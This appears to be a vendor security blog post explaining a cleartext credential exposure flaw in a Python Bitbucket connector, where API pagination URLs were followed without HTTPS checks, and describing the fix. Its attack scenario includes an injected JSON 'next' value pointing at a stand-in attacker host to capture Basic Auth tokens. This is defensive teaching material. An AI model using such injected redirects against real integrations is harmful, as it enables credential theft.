Back to Blog
critical SEVERITY5 min read

How Credential Exposure Over HTTP Happens in Python Requests and How to Fix It

A critical vulnerability was discovered in the Bitbucket catalog connector where pagination URLs from API responses were followed without HTTPS validation, potentially exposing HTTP Basic Authentication credentials over unencrypted connections. The fix enforces HTTPS-only URLs for pagination and adds request timeouts to prevent resource exhaustion attacks.

O
By Orbis AppSec
Published August 6, 2026Reviewed August 6, 2026

Answer Summary

This vulnerability (CWE-319: Cleartext Transmission of Sensitive Information) in Python's `requests` library occurs when HTTP Basic Authentication credentials are sent to URLs that haven't been validated for HTTPS. In `plugins/catalog/bitbucket.py`, pagination URLs from Bitbucket API responses were followed blindly, allowing a malicious or compromised API to redirect credentials over HTTP. The fix validates that all pagination URLs start with `https://` before following them and adds 30-second timeouts to all requests.

Vulnerability at a Glance

cweCWE-319
fixEnforce HTTPS prefix check before following pagination URLs
riskOAuth tokens exposed over unencrypted HTTP connections
languagePython
root causePagination URLs from API responses used without HTTPS validation
vulnerabilityCleartext Credential Transmission

Introduction

In the plugins/catalog/bitbucket.py file, a critical security flaw was discovered in the get_bitbucket_contents() function that handles Bitbucket repository scanning. While the initial API request correctly uses HTTPS (https://api.bitbucket.org/2.0/repositories/...), the pagination logic at line 71 blindly trusted URLs returned by the Bitbucket API without validating they use HTTPS.

This matters because the code sends HTTP Basic Authentication credentials with every request:

response = requests.get(api_url, auth=HTTPBasicAuth(repo_owner, repo.token), proxies=PROXY)

If an attacker could manipulate the next URL in a Bitbucket API response—through a compromised proxy, DNS poisoning, or a man-in-the-middle position—they could redirect the connector to an HTTP endpoint and capture the OAuth token in plaintext.

The Vulnerability Explained

The vulnerable code pattern appears in the pagination loop starting at line 69:

# VULNERABLE CODE
while "next" in response.json():
    api_url = response.json()["next"]
    if repo.token:
        response = requests.get(api_url, auth=HTTPBasicAuth(repo_owner, repo.token), proxies=PROXY)
    else:
        response = requests.get(api_url, proxies=PROXY)

What Makes This Dangerous

The api_url variable is assigned directly from response.json()["next"]—data that comes from an external API response. This creates a Server-Side Request Forgery (SSRF) adjacent pattern where the application trusts external input to determine where to send authenticated requests.

Attack Scenario

Consider this attack chain specific to this Bitbucket connector:

  1. Initial Setup: An attacker positions themselves as a network intermediary (corporate proxy, compromised DNS, malicious WiFi)

  2. Interception: When the connector makes its first legitimate HTTPS request to api.bitbucket.org, the attacker intercepts the response

  3. Payload Injection: The attacker modifies the JSON response to include:
    json { "values": [...], "next": "http://attacker-controlled.com/capture" }

  4. Credential Theft: The connector follows this URL, sending the repo.token via HTTP Basic Auth over an unencrypted connection

  5. Token Capture: The attacker's server receives the base64-encoded credentials in the Authorization header

Additional Risk: Missing Timeouts

The original code also lacked request timeouts, meaning a slow or unresponsive server could hang the connector indefinitely—a potential denial-of-service vector.

The Fix

The fix implements two critical security improvements in plugins/catalog/bitbucket.py:

1. HTTPS Enforcement for Pagination URLs (Lines 71-74)

Before:

while "next" in response.json():
    api_url = response.json()["next"]
    if repo.token:
        response = requests.get(api_url, auth=HTTPBasicAuth(repo_owner, repo.token), proxies=PROXY)

After:

while "next" in response.json():
    api_url = response.json()["next"]
    if not api_url.startswith("https://"):
        add_error_notification(f"Bitbucket connector: refusing to follow non-HTTPS pagination URL")
        break
    if repo.token:
        response = requests.get(api_url, auth=HTTPBasicAuth(repo_owner, repo.token), proxies=PROXY, timeout=30)

This validation ensures that:
- Only HTTPS URLs are followed for pagination
- An error is logged when a non-HTTPS URL is encountered
- The pagination loop breaks safely rather than exposing credentials

2. Request Timeouts (Lines 55-56, 76-79)

All four requests.get() calls now include timeout=30:

response = requests.get(api_url, auth=HTTPBasicAuth(repo_owner, repo.token), proxies=PROXY, timeout=30)

This prevents indefinite hangs and limits the window for timing-based attacks.

Why This Fix Works

The fix addresses the root cause by validating the URL scheme before sending credentials, rather than trusting external input. The startswith("https://") check is simple but effective because:

  1. It's case-sensitive and explicit (won't match HTTPS:// or hTTpS://, though these are rare)
  2. It runs before any network request is made
  3. It fails safely by breaking the loop and logging an error

Key Takeaways

  • Never trust pagination URLs from API responses—always validate the scheme before following them with credentials
  • The get_bitbucket_contents() function now validates all pagination URLs start with https:// before sending OAuth tokens
  • HTTP Basic Authentication sends credentials with every request—if even one request goes to HTTP, credentials are exposed
  • Request timeouts are a security control, not just a reliability feature—they limit attack windows
  • Defense in depth matters: even though the initial URL was HTTPS, the pagination URLs needed separate validation

How Orbis AppSec Detected This

  • Source: The response.json()["next"] pagination URL from Bitbucket API responses at line 71
  • Sink: requests.get(api_url, auth=HTTPBasicAuth(...)) at lines 73 and 76, where credentials are sent
  • Missing control: No validation that pagination URLs use HTTPS before sending authentication credentials
  • CWE: CWE-319 (Cleartext Transmission of Sensitive Information)
  • Fix: Added HTTPS prefix validation before following pagination URLs and 30-second timeouts on all requests

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability demonstrates a common but dangerous pattern: trusting external data to control where authenticated requests are sent. While the Bitbucket connector correctly used HTTPS for its initial API call, the pagination logic created a gap where a malicious or compromised response could redirect credentials over HTTP.

The fix is straightforward—validate URL schemes before following them—but the implications of missing this check are severe: complete credential compromise. When building integrations with external APIs, always treat response data as untrusted input, especially when that data influences subsequent authenticated requests.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #352

Related Articles

critical

deleteNestedProperty Prototype Pollution via Dot-Notation Path

The `deleteNestedProperty` function in propertyUtils.ts allowed attackers to manipulate JavaScript object prototypes by passing specially crafted dot-notation paths like `__proto__.polluted`. A fix now blocks dangerous keys before processing, preventing prototype pollution attacks that could affect all objects in the application.

high

How Denial of Service via Infinite Loop Happens in JavaScript Dependencies and How to Fix It

CVE-2026-67213 is a high-severity denial of service vulnerability in nanoid before version 5.1.6 that triggers an infinite loop during random ID generation when processing specially crafted input. We upgraded nanoid across the entire dependency tree to patch this flaw and prevent attackers from freezing application threads. This fix ensures that ID generation remains resilient even when handling adversarial input patterns.

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.